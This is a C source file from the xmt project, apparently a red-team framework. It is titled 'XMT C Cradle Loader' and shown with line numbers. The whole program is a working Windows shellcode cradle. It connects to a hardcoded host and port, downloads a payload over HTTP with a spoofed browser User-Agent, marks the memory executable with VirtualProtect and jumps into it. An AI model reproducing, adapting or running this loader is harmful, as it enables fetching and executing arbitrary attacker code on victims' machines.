github.com/iDigitalFlame/xmt@v0.5.4/tools/c_download.c (about) 1 // XMT C Cradle Loader 2 // 3 // Copyright (C) 2020 - 2023 iDigitalFlame 4 // 5 // This program is free software: you can redistribute it and/or modify 6 // it under the terms of the GNU General Public License as published by 7 // the Free Software Foundation, either version 3 of the License, or 8 // any later version. 9 // 10 // This program is distributed in the hope that it will be useful, 11 // but WITHOUT ANY WARRANTY; without even the implied warranty of 12 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 // GNU General Public License for more details. 14 // 15 // You should have received a copy of the GNU General Public License 16 // along with this program. If not, see <https://www.gnu.org/licenses/>. 17 // 18 // NOTE(dij): This program does NOT account for system proxies. 19 // TODO(dij): Rewrite this? using WinInet, since it has proxy support. 20 // Also maybe a powershell loader? 21 // 22 23 #define HOST "vmhost\0" 24 #define PORT "8081\0" 25 #define PATH "s.txt\0" 26 #define _WIN32_WINNT 0x0501 27 28 #include <ws2tcpip.h> 29 30 int get(char *host, char *port, char *path, unsigned char **buffer) { 31 SOCKET s; 32 struct addrinfo i, *a, *c; 33 memset(&i, 0, sizeof(i)); 34 i.ai_family = PF_INET; 35 i.ai_socktype = SOCK_STREAM; 36 if (getaddrinfo(host, port, &i, &a) != 0) { 37 return 0; 38 } 39 for (c = a; c != NULL; c = c->ai_next) { 40 s = socket(c->ai_family, c->ai_socktype, c->ai_protocol); 41 if (s == INVALID_SOCKET) { 42 continue; 43 } 44 if (connect(s, c->ai_addr, (int)c->ai_addrlen) != SOCKET_ERROR) { 45 break; 46 } 47 closesocket(s); 48 } 49 if (s == NULL || s == INVALID_SOCKET) { 50 return 0; 51 } 52 freeaddrinfo(a); 53 unsigned char *m = malloc(256 + strlen(host) + strlen(port) + strlen(path)); 54 strcpy(m, "GET /\0"); 55 strncat(m + 5, path, strlen(path)); 56 strncat(m, " HTTP/1.1\r\nHost: \0", 19); 57 strncat(m, host, strlen(host)); 58 strcat(m, ":\0"); 59 strncat(m, port, strlen(port)); 60 strncat(m, "\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.1) Gecko/20100101 Firefox/71.0\r\nAccept: text/html\r\n\r\n\0", 151); 61 if (send(s, m, strlen(m), 0) == SOCKET_ERROR) { 62 closesocket(s); 63 return 0; 64 } 65 free(m); 66 int t = 0; 67 int r = 0; 68 int p = 4096; 69 unsigned char *y = NULL; 70 unsigned char *b = calloc(4096, 1); 71 for (;;) { 72 r = recv(s, b + t, 4096, 0); 73 if (r <= 0) { 74 break; 75 } 76 if (t + r > p) { 77 y = b; 78 if ((b = realloc(b, (t + r) * 2)) == NULL) { 79 b = y; 80 break; 81 } 82 p = (t + r) * 2; 83 } 84 t += r; 85 } 86 p = 0; 87 for (r = 0; r < t && p < 4; r++) { 88 if (b[r] == '\r' || b[r] == '\n') { 89 p++; 90 } else { 91 p = 0; 92 } 93 } 94 *buffer = malloc(t - r); 95 memcpy(*buffer, b + r, t - r); 96 free(b); 97 closesocket(s); 98 return t - r; 99 } 100 101 int main() { 102 WSADATA w; 103 if (WSAStartup(MAKEWORD(2, 2), &w) != 0) { 104 return 1; 105 } 106 unsigned char *b; 107 int s = get(HOST, PORT, PATH, &b); 108 WSACleanup(); 109 if (s == 0) { 110 return 1; 111 } 112 DWORD o; 113 if (VirtualProtect(b, s, PAGE_EXECUTE_READWRITE, &o) == 0) { 114 return 1; 115 } 116 ((void (*)())b)(); 117 return 0; 118 }